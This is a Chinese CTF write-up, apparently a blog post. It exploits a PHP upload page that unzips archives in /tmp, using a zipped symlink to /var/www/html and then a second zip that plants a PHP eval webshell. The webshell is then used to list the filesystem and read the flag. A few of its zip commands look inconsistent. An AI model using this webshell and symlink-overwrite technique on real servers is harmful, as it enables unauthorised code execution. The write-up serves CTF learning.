Unzip(软连接利用)

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
    <title>文件上传</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f2f2f2;
        }

        .container {
            max-width: 400px;
            margin: 0 auto;
            padding: 20px;
            background-color: #fff;
            border-radius: 5px;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
        }

        .form-group {
            margin-bottom: 20px;
        }

        .form-group label {
            display: block;
            font-weight: bold;
            margin-bottom: 5px;
        }

        .form-group input[type="file"] {
            padding: 10px;
            border: 1px solid #ccc;
            border-radius: 5px;
            background-color: #fff;
        }

        .form-group input[type="submit"] {
            padding: 10px 20px;
            background-color: #4CAF50;
            color: #fff;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }

        .form-group input[type="submit"]:hover {
            background-color: #45a049;
        }
    </style>
</head>
<body>
    <div class="container">
        <h2>文件上传</h2>
        <form action="upload.php" method="POST" enctype="multipart/form-data">
            <div class="form-group">
                <label for="file">选择文件</label>
                <input type="file" name="file" id="file" />
            </div>
            <div class="form-group">
                <input type="submit" value="上传" />
            </div>
        </form>
    </div>
</body>
</html>
<?php
error_reporting(0);
highlight_file(__FILE__);
 
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
 
//only this!

分析代码得:

 
1. `error_reporting(0);`:关闭错误报告。这意味着在运行过程中,任何错误或警告都不会显示。
 
2. `highlight_file(__FILE__);`:使用 PHP 内置的 `highlight_file` 函数,对当前文件(`__FILE__` 是一个魔术常量,表示当前文件的完整路径和文件名)进行语法高亮显示。这通常用于调试或演示代码。
 
3. `$finfo = finfo_open(FILEINFO_MIME_TYPE);`:使用 `finfo_open` 函数创建一个新的文件信息资源,用于检查文件的 MIME 类型。`FILEINFO_MIME_TYPE` 是一个预定义常量,表示我们只关心文件的 MIME 类型。
 
4. `if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){`:使用 `finfo_file` 函数检查上传文件的 MIME 类型。`$_FILES["file"]["tmp_name"]` 是上传文件在服务器上的临时路径。如果文件的 MIME 类型是 'application/zip'(即 ZIP 文件),则执行括号内的代码。
 
5. `exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);`:使用 `exec` 函数执行一个外部命令。这里,我们先切换到服务器上的 `/tmp` 目录,然后使用 `unzip` 命令解压上传的 ZIP 文件。`-o` 选项表示覆盖已存在的同名文件。

大概意思就是题目将我们上传的zip文件放在tmp这个目录下进行解压,因为不在var/www/html目录下解压所以不会产生解压执行文件的安全隐患,但是并没有对上传的压缩文件进行严格的检查这会导致漏洞产生

因为解压的目录更改了,所以要把解压文件所在目录放在var/www/html(因为html目录下是web环境)这样才能在解压shell文件时实现getshell

这里利用linux构造软连接使得上传文件指向到var/www/html目录下

关于软连接的了解:

linux硬链接与软链接
Linux 系统中有软链接和硬链接两种特殊的“文件”。
软链接可以看作是Windows中的快捷方式,可以让你快速链接到目标档案或目录。
硬链接则透过文件系统的inode来产生新档名,而不是产生新档案。
创建方法都很简单:  https://www.cnblogs.com/crazylqy/p/5821105.html
软链接(符号链接) ln -s   source  target 
硬链接 (实体链接)ln       source  target

 

上传压缩文件

这时解压文件后是软连接就会实现从tmp指向var/www/html

接下来就是在var/www/html目录下上传一个shell文件就可以了

在test的目录下创建一句话php文件

shell文件内容:

<?php @eval($_POST['cmd']);?>

然后再对test进行压缩

zip -r test1.zip test

再上传该压缩包,因为解压后的目录同名所以会覆盖原指定目录

所以此时目录是var/www/html/cmd.php

 上传后访问cmd.php就可以getshell了

https://blog.csdn.net/qq_74426248/article/details/131941300

 

解题思路:
在 Linux 系统中,如果使用 Apache 服务器,默认的 Web 根目录是/var/www/html。

上传解压后的文件被解压到/tmp目录下,并且不能直接访问到/tmp目录,但可以直接访问网站根目录/var/www/html。

想办法实现目录跳转,想到了软链接(和Windows的快捷方式类似):

①使/tmp目录下的link与网站根目录/var/www/html建立软链接

(了解软硬链接:Linux-33Linux文件系统命令-ln链接中符号链接和硬链接的应用场景哔哩哔哩bilibili)

②上传一句话木马,时期被解压到网站根目录下

③用蚁剑,菜刀或者参数访问查询flag

总结:

依次上传两个zip文件,第一个zip文件slink.zip解压之后建立软链接(此时slink相当于/var/www/html)

第二个zip文件包含一句话木马,且解压之后的名字和第一个zip文件解压之后的名字一样,因此把第一个zip文件解压之后覆盖

(第二个zip文件的结构:slink2.zip/slink/shell.php(shell.php里面是一句话木马),解压之后把原来解压得到的slink替换掉,shell.php相当于是在/var/www/html/shell.php)

操作:
1.打开kali,创建unzip文件夹,进入unzip文件夹创建软链接:
ln -s /var/www/html slink
此时slink就相当于/var/www/html

2.压缩:
zip --symlink slink.zip
ls显示:

slink slink.zip
3.删除slink,在unzip目录下创建slink目录
mkdir slink

ls:

slink slink.zip
4.进入slink创建shell.php文件,并写入后门代码
cd slink
echo "<?php phpinfo();?>" >>shell.php
ls:
shell.php
5.在unzip目录压缩slink文件夹
zip -r slink2.zip ./slink2/*
ls:
slink2.zip slink.zip slink
6.上传

先上传slink.zip 再上传slink2.zip

访问/shell.php

显示的内容是php探针(phpinfo),说明操作正确


把一句话木马改成:

<?php eval($_POST['niubi']);?>
7.上传之后
法一:
蚁剑连接,成功找到flag

法二:
访问/shell.php

POST提交:niubi=system('ls /');

显示:

bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

niubi=system('cat /flag');

成功得到flag

posted @ 2025-03-18 12:08  justdoIT*  阅读(81)  评论(0)    收藏  举报